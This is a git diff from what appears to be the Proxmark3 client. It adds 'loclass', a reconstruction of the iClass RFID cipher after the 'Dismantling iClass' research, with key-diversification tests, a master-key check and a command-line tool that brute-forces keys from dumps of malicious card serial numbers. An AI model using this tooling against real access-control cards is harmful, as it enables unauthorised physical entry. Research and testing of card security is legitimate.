+       {{0x29,0xC5,0x2B,0xFA,0xD1,0xFC,0x5C,0xC7},{0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0xFB,0x07}},
+       {{0xC1,0xA3,0x09,0x71,0xBD,0x8E,0xAF,0x2F},{0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0xF9}},
+       {{0xB6,0xDD,0xD1,0xAD,0xAA,0x15,0x6F,0x29},{0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x03,0x05,0x02,0x07,0x04,0x06,0x08}},
+       {{0x65,0x34,0x03,0x19,0x17,0xB3,0xA3,0x96},{0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x01,0x06,0x08,0x03,0x05,0x07}},
+       {{0xF9,0x38,0x43,0x56,0x52,0xE5,0xB1,0xA9},{0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x04,0x06,0x08,0x03,0x05,0x07}},
+
+       {{0xA4,0xA0,0xAF,0xDA,0x48,0xB0,0xA1,0x10},{0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x04,0x06,0x03,0x08,0x05,0x07}},
+       {{0x55,0x15,0x8A,0x0D,0x48,0x29,0x01,0xD8},{0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x01,0x06,0x03,0x05,0x08,0x07}},
+       {{0xC4,0x81,0x96,0x7D,0xA3,0xB7,0x73,0x50},{0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x03,0x05,0x04,0x06,0x08,0x07}},
+       {{0x36,0x73,0xDF,0xC1,0x1B,0x98,0xA8,0x1D},{0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x03,0x04,0x05,0x06,0x08,0x07}},
+       {{0xCE,0xE0,0xB3,0x1B,0x41,0xEB,0x15,0x12},{0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x03,0x04,0x06,0x05,0x08,0x07}},
+       {{0},{0},{0}}
+};
+
+
+int testKeyDiversificationWithMasterkeyTestcases()
+{
+
+       int error = 0;
+       int i;
+
+       uint8_t empty[8]={0};
+       prnlog("[+} Testing encryption/decryption");
+
+       for (i = 0;  memcmp(testcases+i,empty,8) ; i++) {
+               error += testDES(testcases[i],ctx_enc, ctx_dec);
+       }
+       if(error)
+       {
+               prnlog("[+] %d errors occurred (%d testcases)", error, i);
+       }else
+       {
+               prnlog("[+] Hashing seems to work (%d testcases)", i);
+       }
+       return error;
+}
+
+
+void print64bits(char*name, uint64_t val)
+{
+       printf("%s%08x%08x\n",name,(uint32_t) (val >> 32) ,(uint32_t) (val & 0xFFFFFFFF));
+}
+
+uint64_t testCryptedCSN(uint64_t crypted_csn, uint64_t expected)
+{
+       int retval = 0;
+       uint8_t result[8] = {0};
+       if(debug_print) prnlog("debug_print %d", debug_print);
+       if(debug_print) print64bits("    {csn}      ", crypted_csn );
+
+       uint64_t crypted_csn_swapped = swapZvalues(crypted_csn);
+
+       if(debug_print) print64bits("    {csn-revz} ", crypted_csn_swapped);
+
+       hash0(crypted_csn, result);
+    uint64_t resultbyte = x_bytes_to_num(result,8 );
+       if(debug_print) print64bits("    hash0      " , resultbyte );
+
+       if(resultbyte != expected )
+       {
+
+               if(debug_print) {
+                       prnlog("\n[+] FAIL!");
+                       print64bits("    expected       " ,  expected );
+               }
+               retval = 1;
+
+       }else
+       {
+               if(debug_print) prnlog(" [OK]");
+       }
+       return retval;
+}
+
+int testDES2(uint64_t csn, uint64_t expected)
+{
+       uint8_t result[8] = {0};
+       uint8_t input[8] = {0};
+
+       print64bits("   csn ", csn);
+    x_num_to_bytes(csn, 8,input);
+
+       des_crypt_ecb(&ctx_enc,input, result);
+
+    uint64_t crypt_csn = x_bytes_to_num(result, 8);
+       print64bits("   {csn}    ", crypt_csn );
+       print64bits("   expected ", expected );
+
+       if( expected == crypt_csn )
+       {
+               prnlog("[+] OK");
+               return 0;
+       }else
+       {
+               return 1;
+       }
+}
+
+/**
+ * These testcases come from http://www.proxmark.org/forum/viewtopic.php?pid=10977#p10977
+ * @brief doTestsWithKnownInputs
+ * @return
+ */
+int doTestsWithKnownInputs()
+{
+
+       // KSel from http://www.proxmark.org/forum/viewtopic.php?pid=10977#p10977
+       int errors = 0;
+       prnlog("[+] Testing DES encryption");
+//     uint8_t key[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf};
+       prnlog("[+] Testing foo");
+       uint8_t key[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf};
+
+       des_setkey_enc( &ctx_enc, key);
+       testDES2(0xbbbbaaaabbbbeeee,0xd6ad3ca619659e6b);
+
+       prnlog("[+] Testing hashing algorithm");
+
+       errors += testCryptedCSN(0x0102030405060708,0x0bdd6512073c460a);
+       errors += testCryptedCSN(0x1020304050607080,0x0208211405f3381f);
+       errors += testCryptedCSN(0x1122334455667788,0x2bee256d40ac1f3a);
+       errors += testCryptedCSN(0xabcdabcdabcdabcd,0xa91c9ec66f7da592);
+       errors += testCryptedCSN(0xbcdabcdabcdabcda,0x79ca5796a474e19b);
+       errors += testCryptedCSN(0xcdabcdabcdabcdab,0xa8901b9f7ec76da4);
+       errors += testCryptedCSN(0xdabcdabcdabcdabc,0x357aa8e0979a5b8d);
+       errors += testCryptedCSN(0x21ba6565071f9299,0x34e80f88d5cf39ea);
+       errors += testCryptedCSN(0x14e2adfc5bb7e134,0x6ac90c6508bd9ea3);
+
+       if(errors)
+       {
+               prnlog("[+] %d errors occurred (9 testcases)", errors);
+       }else
+       {
+               prnlog("[+] Hashing seems to work (9 testcases)" );
+       }
+       return errors;
+}
+
+int readKeyFile(uint8_t key[8])
+{
+
+       FILE *f;
+
+       f = fopen("iclass_key.bin", "rb");
+       if (f)
+       {
+               if(fread(key, sizeof(key), 1, f) == 1) return 0;
+       }
+       return 1;
+
+}
+
+
+int doKeyTests(uint8_t debuglevel)
+{
+       debug_print = debuglevel;
+
+       prnlog("[+] Checking if the master key is present (iclass_key.bin)...");
+       uint8_t key[8] = {0};
+       if(readKeyFile(key))
+       {
+               prnlog("[+] Master key not present, will not be able to do all testcases");
+       }else
+       {
+
+               //Test if it's the right key...
+               uint8_t i;
+               uint8_t j = 0;
+               for(i =0 ; i < sizeof(key) ; i++)
+                       j += key[i];
+
+               if(j != 185)
+               {
+                       prnlog("[+] A key was loaded, but it does not seem to be the correct one. Aborting these tests");
+               }else
+               {
+                       prnlog("[+] Key present");
+
+                       prnlog("[+] Checking key parity...");
+                       des_checkParity(key);
+                       des_setkey_enc( &ctx_enc, key);
+                       des_setkey_dec( &ctx_dec, key);
+                       // Test hashing functions
+                       prnlog("[+] The following tests require the correct 8-byte master key");
+                       testKeyDiversificationWithMasterkeyTestcases();
+               }
+       }
+       prnlog("[+] Testing key diversification with non-sensitive keys...");
+       doTestsWithKnownInputs();
+       return 0;
+}
+
+/**
+
+void checkParity2(uint8_t* key)
+{
+
+       uint8_t stored_parity = key[7];
+       printf("Parity byte: 0x%02x\n", stored_parity);
+       int i;
+       int byte;
+       int fails =0;
+       BitstreamIn bits = {key, 56, 0};
+
+       bool parity = 0;
+
+       for(i =0 ; i  < 56; i++)
+       {
+
+               if ( i > 0 && i % 7 == 0)
+               {
+                       parity = !parity;
+                       bool pbit = stored_parity & (0x80 >> (byte));
+                       if(parity != pbit)
+                       {
+                               printf("parity2 fail byte %d, should be %d, was %d\n", (i / 7), parity, pbit);
+                               fails++;
+                       }
+                       parity =0 ;
+                       byte = i / 7;
+               }
+               parity = parity ^ headBit(&bits);
+       }
+       if(fails)
+       {
+               printf("parity2 fails: %d\n", fails);
+       }else
+       {
+               printf("Key syntax is with parity bits grouped in the last byte!\n");
+       }
+}
+void modifyKey_put_parity_last(uint8_t * key, uint8_t* output)
+{
+       uint8_t paritybits = 0;
+       bool parity =0;
+       BitstreamOut out = { output, 0,0};
+       unsigned int bbyte, bbit;
+       for(bbyte=0; bbyte <8 ; bbyte++ )
+       {
+               for(bbit =0 ; bbit< 7 ; bbit++)
+               {
+                       bool bit = *(key+bbyte) & (1 << (7-bbit));
+                       pushBit(&out,bit);
+                       parity ^= bit;
+               }
+               bool paritybit = *(key+bbyte) & 1;
+               paritybits |= paritybit << (7-bbyte);
+               parity = 0;
+
+       }
+       output[7] = paritybits;
+       printf("Parity byte: %02x\n", paritybits);
+}
+
+ * @brief Modifies a key with parity bits last, so that it is formed with parity
+ *             bits inside each byte
+ * @param key
+ * @param output
+
+void modifyKey_put_parity_allover(uint8_t * key, uint8_t* output)
+{
+       bool parity =0;
+       BitstreamOut out = { output, 0,0};
+       BitstreamIn in = {key, 0,0};
+       unsigned int bbyte, bbit;
+       for(bbit =0 ; bbit < 56 ; bbit++)
+       {
+
+               if( bbit > 0 && bbit % 7 == 0)
+               {
+                       pushBit(&out,!parity);
+                       parity = 0;
+               }
+               bool bit = headBit(&in);
+               pushBit(&out,bit );
+               parity ^= bit;
+
+       }
+       pushBit(&out, !parity);
+
+
+       if(     des_key_check_key_parity(output))
+       {
+               printf("modifyKey_put_parity_allover fail, DES key invalid parity!");
+       }
+
+}
+
+*/
+
+
diff --git a/client/loclass/ikeys.h b/client/loclass/ikeys.h
new file mode 100644 (file)
index 0000000..1de46b6
--- /dev/null
@@ -0,0 +1,32 @@
+#ifndef IKEYS_H
+#define IKEYS_H
+
+
+/**
+ * @brief
+ *Definition 11. Let the function hash0 : F 82 × F 82 × (F 62 ) 8 → (F 82 ) 8 be defined as
+ *     hash0(x, y, z [0] . . . z [7] ) = k [0] . . . k [7] where
+ * z'[i] = (z[i] mod (63-i)) + i       i =  0...3
+ * z'[i+4] = (z[i+4] mod (64-i)) + i   i =  0...3
+ * ẑ = check(z');
+ * @param c
+ * @param k this is where the diversified key is put (should be 8 bytes)
+ * @return
+ */
+void hash0(uint64_t c, uint8_t k[8]);
+int doKeyTests(uint8_t debuglevel);
+/**
+ * @brief Performs Elite-class key diversification
+ * @param csn
+ * @param key
+ * @param div_key
+ */
+
+void diversifyKey(uint8_t csn[8], uint8_t key[8], uint8_t div_key[8]);
+/**
+ * @brief Permutes a key from standard NIST format to Iclass specific format
+ * @param key
+ * @param dest
+ */
+
+#endif // IKEYS_H
diff --git a/client/loclass/main.c b/client/loclass/main.c
new file mode 100644 (file)
index 0000000..4201907
--- /dev/null
@@ -0,0 +1,96 @@
+/*****************************************************************************
+ * This file is part of iClassCipher. It is a reconstructon of the cipher engine
+ * used in iClass, and RFID techology.
+ *
+ * The implementation is based on the work performed by
+ * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
+ * Milosch Meriac in the paper "Dismantling IClass".
+ *
+ * Copyright (C) 2014 Martin Holst Swende
+ *
+ * This is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as published
+ * by the Free Software Foundation.
+ *
+ * This file is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with IClassCipher.  If not, see <http://www.gnu.org/licenses/>.
+ ****************************************************************************/
+
+#include <stdio.h>
+#include <cipherutils.h>
+#include <stdint.h>
+#include <stdbool.h>
+#include <string.h>
+#include <unistd.h>
+#include <ctype.h>
+#include "cipherutils.h"
+#include "cipher.h"
+#include "ikeys.h"
+#include "fileutils.h"
+#include "elite_crack.h"
+
+int unitTests()
+{
+       int errors = testCipherUtils();
+       errors += testMAC();
+       errors += doKeyTests(0);
+       errors += testElite();
+       return errors;
+}
+int showHelp()
+{
+       prnlog("Usage: iclazz [options]");
+       prnlog("Options:");
+       prnlog("-t                 Perform self-test");
+       prnlog("-h                 Show this help");
+       prnlog("-f <filename>      Bruteforce iclass dumpfile");
+       prnlog("                   An iclass dumpfile is assumed to consist of an arbitrary number of malicious CSNs, and their protocol responses");
+       prnlog("                   The the binary format of the file is expected to be as follows: ");
+       prnlog("                   <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC>");
+       prnlog("                   <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC>");
+       prnlog("                   <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC>");
+       prnlog("                  ... totalling N*24 bytes");
+       prnlog("                  Check iclass_dump.bin for an example");
+
+       return 0;
+}
+
+int main (int argc, char **argv)
+{
+       prnlog("IClass Cipher version 1.2, Copyright (C) 2014 Martin Holst Swende\n");
+       prnlog("Comes with ABSOLUTELY NO WARRANTY");
+       prnlog("This is free software, and you are welcome to use, abuse and repackage, please keep the credits\n");
+       char *fileName = NULL;
+       int c;
+       while ((c = getopt (argc, argv, "thf:")) != -1)
+         switch (c)
+               {
+               case 't':
+                 return unitTests();
+               case 'h':
+                 return showHelp();
+               case 'f':
+                 fileName = optarg;
+                 return bruteforceFileNoKeys(fileName);
+               case '?':
+                 if (optopt == 'f')
+                       fprintf (stderr, "Option -%c requires an argument.\n", optopt);
+                 else if (isprint (optopt))
+                       fprintf (stderr, "Unknown option `-%c'.\n", optopt);
+                 else
+                       fprintf (stderr,
+                                        "Unknown option character `\\x%x'.\n",
+                                        optopt);
+                 return 1;
+               //default:
+                 //showHelp();
+               }
+       showHelp();
+       return 0;
+}
+
diff --git a/client/obj/loclass/.dummy b/client/obj/loclass/.dummy
new file mode 100644 (file)
index 0000000..e69de29
index add0ba69f8367b4d7ede2b5863014d156d3d5251..0f7a250bf94c54651ec048474c3ced3d2b56c0f9 100644 (file)
@@ -12,6 +12,9 @@
 #include <stdlib.h>
 //#include "iso15693tools.h"
 
+#define POLY 0x8408
+
+
 // The CRC as described in ISO 15693-Part 3-Annex C
 //     v       buffer with data
 //             n       length
@@ -63,5 +66,31 @@ char* Iso15693sprintUID(char *target,uint8_t *uid) {
   return target;
 }
 
+unsigned short iclass_crc16(char *data_p, unsigned short length)
+{
+      unsigned char i;
+      unsigned int data;
+      unsigned int crc = 0xffff;
+
+      if (length == 0)
+            return (~crc);
+
+      do
+      {
+            for (i=0, data=(unsigned int)0xff & *data_p++;
+                 i < 8; 
+                 i++, data >>= 1)
+            {
+                  if ((crc & 0x0001) ^ (data & 0x0001))
+                        crc = (crc >> 1) ^ POLY;
+                  else  crc >>= 1;
+            }
+      } while (--length);
 
+      crc = ~crc;
+      data = crc;
+      crc = (crc << 8) | (data >> 8 & 0xff);
+      crc = crc ^ 0xBC3;
+      return (crc);
+}
 
index c831fec4c2d988175cef431f436e9846957a2fd5..ec63728fe1a50604f849ef6ae213f1ecd81554e2 100644 (file)
@@ -70,6 +70,7 @@
 uint16_t Iso15693Crc(uint8_t *v, int n);
 int Iso15693AddCrc(uint8_t *req, int n);
 char* Iso15693sprintUID(char *target,uint8_t *uid);
+unsigned short iclass_crc16(char *data_p, unsigned short length);
 
 //-----------------------------------------------------------------------------
 // Map a sequence of octets (~layer 2 command) into the set of bits to feed
index 4b1fc2b688d7fac32d9f2f504d165060d4509539..b4e29804340f8f95782c584fea37201dd63ff9fe 100644 (file)
@@ -117,6 +117,8 @@ typedef struct {
 #define CMD_SNOOP_ICLASS                                                  0x0392
 #define CMD_SIMULATE_TAG_ICLASS                                           0x0393
 #define CMD_READER_ICLASS                                                 0x0394
+#define CMD_READER_ICLASS_REPLAY                                                                                 0x0395
+#define CMD_ICLASS_ISO14443A_WRITE                                                                               0x0397
 
 // For measurements of the antenna tuning
 #define CMD_MEASURE_ANTENNA_TUNING                                        0x0400
@@ -162,6 +164,8 @@ typedef struct {
 #define FLAG_NR_AR_ATTACK 0x08
 
 
+//Iclass reader flags
+#define FLAG_ICLASS_READER_ONLY_ONCE 0x01
 
 // CMD_DEVICE_INFO response packet has flags in arg[0], flag definitions:
 /* Whether a bootloader that understands the common_area is present */
Impressum, Datenschutz